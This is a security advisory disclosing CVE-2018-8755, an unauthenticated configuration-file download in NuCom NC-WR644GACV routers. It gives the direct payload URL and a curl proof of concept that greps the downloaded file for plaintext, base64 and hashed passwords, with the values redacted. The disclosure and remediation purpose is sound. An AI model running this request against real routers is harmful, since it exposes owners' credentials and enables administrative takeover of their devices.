Overview
========
Researchers of NVEL4 Cybersecurity company have discovered that it is
possible to  access to the config file bypassing admin authentication and
authorization. The vulnerability has been reported to the vendor. The
vendor has confirmed the vulnerability but not issued to security advisory.

The recommendation to affected users is to update to the latest available
version and change the credentials used, since they could have been
extracted.

Some NuCom routers are exposed to internet.


Product Details
=============
  * Type: Router / Access Point (Wireless Dual Band Gigabit VoIP Router)
  * Vendor: NuCom
  * Model Name: NC-WR644GACV
  * Vulnerable Software Version: <= STA 005
  * Fixed Software Version: STA 006

Vulnerability Details
===================
  * CVE: 2018-8755
  * Name: Unauthenticated Configuration File Download
  * Type: Authentication / Authorization Bypass
  * Description: An unauthorizated user can download config file by
accessing to the URL directly
  * Payload: http://[hostname]/cgi-bin/config_download.cgi?action=download
  * Impact: By downloading the config file an attacker can read all
password stored in plain-text and      base64 then access vie web as
administrator and gain privileged control of the device.
  * CVSS v3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  * CVSS v3 Score: 7.5

PoC
====

zerial@home:~$ curl -s "http://vulnerable.hostname/
cgi-bin/config_download.cgi?action=download"|strings|grep -i password
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password_realtext=[PLAIN
PASSWORD HERE]
InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.
WANPPPConnection.1.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password_realtext=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.5.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password=[SHA256
PASSWORD HERE]
InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS.PeerPassword=[PLAIN
TEXT PASSWORD HERE]
InternetGatewayDevice.ManagementServer.Password=[BASE64 PASSWORD HERE]
InternetGatewayDevice.ManagementServer.ConnectionRequestPassword=[BASE64
PASSWORD HERE]
zerial@home:~$

*** Sensitive information has been removed and replaced by [...]



References
===========
https://blog.nivel4.com/investigaciones/vulnerabilidad-en-los-dispositivos-nucom-wr644gacv/
<https://blog.nivel4.com>
https://twitter.com/n4security
https://twitter.com/Zerial




cheers,
-- 
Fernando A. Lagos Berardi - Zerial
Seguridad Informatica
Linux User #382319
Blog: https://blog.zerial.org